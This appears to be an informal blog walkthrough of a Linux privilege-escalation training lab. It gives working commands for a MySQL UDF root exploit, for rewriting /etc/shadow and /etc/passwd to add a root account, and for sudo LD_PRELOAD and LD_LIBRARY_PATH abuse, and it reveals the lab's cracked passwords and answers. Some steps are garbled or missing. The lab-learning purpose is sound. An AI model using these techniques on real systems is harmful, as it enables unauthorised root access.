~ ssh user@10.10.xxx.xxx -oHostKeyAlgorithms=+ssh-rsa# password: password321# the ip could be different so type them according to the Active Machine infouser@debian:~$ iduid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Warning
Iâm in.
Task 2: MySQL UDF exploit
The MySQL service is running as root and the ârootâ user for the service does not have a password assigned. We can use a popular exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.
âPopular exploitâ
Hookay, so first we start with a UDF function exploit in MySQL that leads to a privesc, the exploit is so old they didnât even assign CVE number to it. Was like, 2006 or something according to exploit-db.com
They already have all the tools in the ~/tools folder, so letâs just go ahead and jump into it.
cd ~/tools/mysql-udf#compiling the exploit source with gccgcc -g -c raptor_udf2.c -fPIC#create the shared library (so)gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
About -fPIC option in gcc
Position Independent Code means that the generated machine code is not dependent on being located at a specific address in order to work.
E.g. jumps would be generated as relative rather than absolute.
Pseudo-assembly:
PIC: This would work whether the code was at address 100 or 1000
Next, we connect to MySQL ass root account with a blank password
mysql -u root
Then I gotta do these commands on the MySQL shell to, quote:
[âŚ] create a User Defined Function (UDF) âdo_systemâ using our compiled exploit:
use mysql;create table foo(line blob);insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';create function do_system returns integer soname 'raptor_udf2.so';
I still find it hilarious that we are crafting privesc using MySQL all the while already logged in MySQL shell as root user hahaahahahaha
Donât tell anyone this or theyâre gonna crush me with a wall of text about how that is deliberate or how this is a training course and I am the one who is missing the point đđ
Alright, after that itâs a simple matter of /tmp/rootbash -p and you are now root.
Firing up Kali Linux VM and using John the Ripper, youâll be able to recover the plain text password and its hash type, itâsâŚ
Spoiler Alert!!!
Password: password123
hash: sha512crypt
Tip
The rockyou.txt usually sits in /usr/share/wordlists/rockyou.txt.gz, decompress it using gzip gzip -d rockyou.txt.gz
Note that gzip also decompress it inside /usr/share/wordlists, you might want to copy the file and extract it elsewhere. Otherwise itâd be a little messy, and gzip will ask for sudo
Task 4+5: /etc/shadow & /etc/passwd
Itâs simple, login as root, generate a new password, and replace it
~ suPassword: #find it yourself!!!!mkpasswd -m sha-512 newpasswordhere# [output of the new password]# Then replace it using nano# I don't have to teach you how to modify a file too, right....?
The root password is now newpasswordhere
Pass that password through openssl to get a hash openssl passwd newpasswordhere, the replace the x in /etc/passwd of root user. You also have to create another root user named newroot.
Copying the rootâs line and paste it to a new line, replace the name to newroot. Voila.
If the program is listed with âsudoâ as a function, you can use it to elevate privileges, usually via an escape sequence.
Q: How many programs is âuserâ allowed to run via sudo?
A: A heck lot!! run sudo -l yourself and find out!
Task 7: Sudo - Environment Variables
Quote from this task
Sudo can be configured to inherit certain environment variables from the userâs environment.
Check which environment variables are inherited (look for the env_keep options):
sudo -l
That seems correct.
Quote
LD_PRELOAD loads a shared object before any others when a program is run.
LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Thereâre a few writeups and articles about this lying around. Iâm just gonna link some hereif youâre interested:
I think I wrote something about the -PIC flag up there. So Iâm not gonna explain them here. Just follow the instruction.
After that, just sudo LD_PRELOAD=/tmp/preload.so program-name-here and get a program from the list of stuff that has sudo capability from sudo -l from above. We should have a root shell.
Run ldd against the apache2 program file to see which shared libraries are used by the program:
ldd /usr/sbin/apache2
Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
~ sudo LD_LIBRARY_PATH=/tmp apache2
A root shell should spawn.
The question at the bottom
Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again.
Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.